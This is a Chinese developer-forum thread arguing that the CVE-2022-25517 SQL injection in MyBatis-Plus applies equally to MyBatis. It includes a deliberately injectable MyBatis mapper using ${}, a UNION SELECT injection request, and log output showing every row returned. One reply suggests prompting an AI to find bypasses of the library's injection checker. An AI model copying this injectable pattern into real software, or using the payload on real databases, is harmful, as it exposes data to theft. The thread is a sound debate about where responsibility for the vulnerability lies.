V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
BraveXaiver
V2EX  ›  程序员

如果 CVE-2022-25517 对于 mybatis plus 是合适的,那么 mybatis 本身也应该 own 一个类似的 CVE issue

  •  
  •   BraveXaiver · 65 天前 · 2817 次点击
    这是一个创建于 65 天前的主题,其中的信息可能已经有所发展或是发生改变。

    最近公司引入了 SYNK 用作软件漏斗扫描工具,它给 mybatis plus 报 CVE-2022-25517 ,如果解决不了我就得把好大段代码用 JPA 或者 mybatis dynamic sql 重构。但我研究了下,我真心觉得这个如果是个有效的 CVE issue ,那 mybatis 也跑不了。

    以下是正文。各位看了后觉得呢?

    Background

    Here is the POC and root cause why CVE-2022-25517 was generated: POC

    But without mybatis-plus, only using mybatis, we can reproduce the same issue. Please check this demo: https://github.com/XSun771/demos/tree/mybatis-sql-injection

    By this demo, I want to prove that CVE-2022-25517 should not be an CVE issue. At least if it is, then it is also applicable to Mybatis. Instead, it should be a bad code smell.

    My POC

    code

    @Select("SELECT * FROM ARTICLES WHERE ${columnName} = #{columnValue}")
    List<Article> select(@Param("columnName") String columnName, @Param("columnValue") String columnValue);
    

    I know you may say , "oh, it is highlighted by Mybatis developers that you should not use ${} but #{} which will check sql injection".

    But I must highlight that it is also highlighted in mybatis-plus official documents that everyone needs to do SQL inject check first.

    So if you agree that because mybatis developers highlights that you should not use ${} then there is no need to raise CVE issue for mybatis, then why not agree that no need to raise CVE issue to mybatis-plus?

    @RequestMapping("/enquiry")
    public String enquiry(@RequestBody Enquiry enquiry) {
        return this.articleMapper.select(enquiry.getColumnName(),enquiry.getColumnValue()).toString();
    }
    

    attack

    I made usage of IDEA http client, the script file is at src/main/resources/generated-requests.http.

    POST http://localhost:9000/enquiry
    Content-Type: application/json
    
    {
    "columnName": "(id=1) UNION SELECT * FROM ARTICLES WHERE 1=1 OR id",
    "columnValue": "1"
    }
    

    Attachk result:

    2024-09-16T11:42:48.220+08:00 DEBUG 2736 --- [mybatis-sql-injection] [nio-9000-exec-2] c.e.m.ArticleMapper.select               : ==>  Preparing: SELECT * FROM ARTICLES WHERE (id=1) UNION SELECT * FROM ARTICLES WHERE 1=1 OR id = ?
    2024-09-16T11:42:48.229+08:00 DEBUG 2736 --- [mybatis-sql-injection] [nio-9000-exec-2] c.e.m.ArticleMapper.select               : ==> Parameters: 1(String)
    2024-09-16T11:42:48.244+08:00 DEBUG 2736 --- [mybatis-sql-injection] [nio-9000-exec-2] c.e.m.ArticleMapper.select               : <==      Total: 3
    
    [Article(id=1, title=foo, author=foo), Article(id=2, title=bar, author=bar), Article(id=3, title=333, author=333)]
    
    22 条回复    2024-09-20 11:12:41 +08:00
    L0L
        1
    L0L  
       65 天前
    建议是说尽量不要让接口传入$的参数值变量;如果不得不传入,一定要做好参数校验。这种很容易引发 sql 注入类的问题,
    leaflxh
        2
    leaflxh  
       65 天前
    不知道是不是我代码写得少,通过让用户指明列名,来决定查询表的哪一个列,挺奇怪的功能
    BraveXaiver
        3
    BraveXaiver  
    OP
       65 天前
    @leaflxh
    @L0L
    是的,我也同意这种写法不好。如果开发者这么写了,代码质量分析工具报问题,我没意见。但不应该视作对 mybatis-plus 这个库本身的 CVE issue 。如果视作,那么 mybatis 也应当适用此 CVE issue 。
    leohuangsulei
        4
    leohuangsulei  
       65 天前
    一般不都是使用#{}吗?
    leohuangsulei
        5
    leohuangsulei  
       65 天前
    一般啥需求会选择列名查询表。。
    wssy001
        6
    wssy001  
       65 天前
    @leohuangsulei #5 我之前做的 OA 项目,有些无代码需求,就有形如
    SELECT * FROM ARTICLES WHERE ${columnName} = #{columnValue}
    这样的 SQL
    不过前端传过来的数据都做了过滤
    L0L
        7
    L0L  
       65 天前
    @BraveXaiver 我理解这种 bug 不能属于 mybatis 或者 mp 的,这个 cve 的漏洞针对的是你的这个软件,你的软件使用 mp 或者 mybatis 导致的问题,修复软件的漏洞,在接口侧做入参校验,是可以规避这种 sql 注入问题。不知道你们的安全扫描是否这样还会扫描,是否能显示修复。本身这个问题细究这个漏洞是不是 mp 或者 mybatis 可能没啥用。
    qq135449773
        9
    qq135449773  
       65 天前 via Android
    下面的沟通记录截图我越看越想笑。

    我觉得在这个问题上,有问题的不是这个项目本身。
    BraveXaiver
        10
    BraveXaiver  
    OP
       65 天前
    @qq135449773 #9

    这篇后记的语气也真傲慢,或者说双标。

    引用其原文:

    Mybatis 的${}问题(他们好爱拿这个来举例子)。"外部数据传入 Mybatis ${} 可以造成 SQL 注入" - 这是一个已知的问题(漏洞)。一个应用因为外部不可控参数传入${}并导致 SQL 注入,我们不会去找 Mybatis 给他们提报漏洞(因为对于官方来说,这是一个已知的问题(漏洞),官方给了足够的说明、警告、风险提醒、适用场景以及替代方案),我们会直接找这个应用去提报漏洞

    但是对于 MybatisPlus 来说,几乎没有人知道在使用这个框架的时候要怎么避免 SQL 注入(要不是看了源码,我也不会知道他们什么都不处理就直接做字段拼接),两者根本没有可比性

    然而, 至少今天,不需要查看 MP 的源码,MP 的官方文档: https://baomidou.com/reference/about-cve/

    已经强调:

    该“漏洞”也是前端端传入 SQL 片段 导致 SQL 注入攻击。框架 QueryWrapper UpdateWrapper 字段部分是允许子查询的因此不能人为允许前端传入 SQL 片段。

    如果使用者有这种需求,可以使用 SqlInjectionUtils.check(内容) 或 xxWrapper.checkSqlInjection() 方法来检查,如果检查通过,则不会抛出异常。

    框架也提供了非常严格的条件构造器 LambdaQueryWrapper LambdaUpdateWrapper 推荐使用。
    nyxsonsleep
        11
    nyxsonsleep  
       65 天前
    @wssy001 #6 前端过滤不就等于不设防吗?
    shuimugan
        12
    shuimugan  
       65 天前
    强类型语言的 ORM + 实体类,还能出现列名逃逸,真的挺好笑的。
    你看它那个号称能防御 sql 注入的 SqlInjectionUtils https://github.com/baomidou/mybatis-plus/blob/3.0/mybatis-plus-core/src/main/java/com/baomidou/mybatisplus/core/toolkit/sql/SqlInjectionUtils.java ,碍于网络安全法我就不写绕过细节了,拿去问 AI“你是 sql 注入专家,审计这个 java 代码分析出可以逃逸的情况(比如哪些数据库存在它没提到的关键字)
    ```java
    balabala 代码
    ```


    惊喜连连
    ZeroDu
        13
    ZeroDu  
       65 天前
    严重怀疑这是有人(同行?)恶意提交的 CVE 。这不明摆着让人换框架吗
    Bingchunmoli
        14
    Bingchunmoli  
       65 天前 via Android
    @ZeroDu 就是同行,开源中国现在猛猛推新 mybatis 框架。换汤不换药
    xuanbg
        15
    xuanbg  
       64 天前
    这真是程序设计领域的「因噎废食」,简直笑死
    bli22ard
        16
    bli22ard  
       64 天前
    外部输入的 sql 参数,不使用预编译参数,不对合法性进行检查,sql 注入了。 这和 mybatis 没什么关系。
    wssy001
        17
    wssy001  
       64 天前
    @nyxsonsleep #11 前端传过来的数据先是在 gateway 层就做了一层数据过滤 传递到 service 层还有一层数据过滤
    CutieJohn
        18
    CutieJohn  
       64 天前
    至少两年前就被这个 CVE 搞了,最后我们在内部做了例外
    COOOOOOde
        19
    COOOOOOde  
       64 天前 via Android
    哪个傻蛋真会这样用啊,知道 mybatis 不就知道这个,我觉得根本不是问题
    cslive
        20
    cslive  
       63 天前   ❤️ 1
    你这个例子不对
    // #{column}=#{value} ==> `name`="张三" 其中 `name`带转义
    new LambdaUpdateWrapper<user>().eq(true, user::getName, "张三")

    // ${column} = #{value} ==> name = "张三" 其中 name 就是纯字符串拼接
    new UpdateWrapper<user>().eq(true, "name", "张三")
    这个例子才对,mybatis 文档强调过"$"与"#"的区别,还说明"$"是不安全的,但是 mybatis-plus 并没有强调上面两个方法的区别,只是说明两个生成的 sql 相同,没有强调普通 Wrapper 是不安全的,可能存在 sql 注入
    BraveXaiver
        21
    BraveXaiver  
    OP
       63 天前
    @cslive hmm 所以你同意, 如果官方在文档中强调一下用户需要对用作列名参数的值做检查(就像 mybatis 那样强调),那么便不存在问题吗?
    cslive
        22
    cslive  
       62 天前
    @BraveXaiver #21 同意,但是官方文档到目前为止没有强调,只有在 cve 界面说了一下
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   1779 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 24ms · UTC 16:37 · PVG 00:37 · LAX 08:37 · JFK 11:37
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.